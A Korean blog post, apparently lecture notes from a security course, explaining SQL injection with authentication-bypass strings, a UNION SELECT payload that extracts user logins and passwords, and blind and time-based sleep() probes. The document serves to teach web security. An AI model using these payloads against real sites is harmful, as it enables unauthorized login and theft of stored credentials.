profile image

L o a d i n g . . .

SQL Injection 이란?

  • SQL Query를 처리하는 과정에서 예상치 못한 입력 값에 의해 DBMS 정보 노출, 특정 명령어 실행 등이 발생하는 취약점
  • 공격자는 정상적인 값 대신 자신이 원하는 값을 웹에 요청하고, 웹은 데이터베이스에 요청을 한 뒤 결과 값이 웹을 통해 노출되거나 유추할 수 있는 형태로 출력됨

 

출처 : 보안프로젝트

-> 웹서버에서 입력값 검증을 제대로 하지 않아서 일어나는 취약점

 

 

SQL Injectoin을 이용한 인증 우회

  • 인증 처리 프로세스에서 '참' 값을 만들어주면서 정상적인 계정 정보 입력을 우회하게 됨

 

쿼리 질의문 예

Select * from members where id=admin and pass=1234

 

원래 위와 같은 형태인데, 아래와 같이 '참'으로 만들어서 우회

Select * from members where id=admin'or 1=1# and pass='or 1=1#

 

여러 가지 문법에 따라 다음과 같이 사용할 수도 있다.

' or 'x'='x
" or "x"="x
') or ('x'='x
") or ("x"="x 

 

 

Error Based SQLi 을 이용한 데이터베이스 정보 획득

  • 웹을 통해서 데이터베이스의 원하는 값을 하나씩 가져와 중요정보 획득
0' UNION SELECT ALL 1,concat(id,login,password),3,4,concat(email,secret),6,7 from users#

출처 : 보안 프로젝트

 

 

 

Blind SQLi 을 이용한 데이터베이스 정보 추측 및 획득

  • 웹에서 데이터베이스의 에러 정보가 노출되지 않기 때문에 "참"과 "거짓"으로 정보 추측, 획득
' or 1=1 and length(database())=5#

 

 

 

Time Based SQLi 을 이용한 데이터베이스 정보 추측 및 획득

  • sleep() 함수를 이용하여 데이터베이스 스레드 동작 정지 여부를 보고 판단
' or 1=1 and sleep(5)#
' or 1=1 and length(database())=5 and sleep(5)#
' or 1=1 and substring(database(),1,1)='b' and sleep(5)#

 

 

자료 출처
중앙대학교 산업보안학과 조정원 교수님 자료

'Hacking > Webhacking' 카테고리의 다른 글

[Webhacking] Blind SQL Injection 실습  (0) 2021.04.11
[Webhacking] Error Based SQL Injection 실습  (0) 2021.04.10
[Webhacking] 자동 분석 도구 공격  (0) 2021.04.02
[Webhacking] Nmap  (0) 2021.03.26
[Webhacking] wireshark  (0) 2021.03.26
복사했습니다!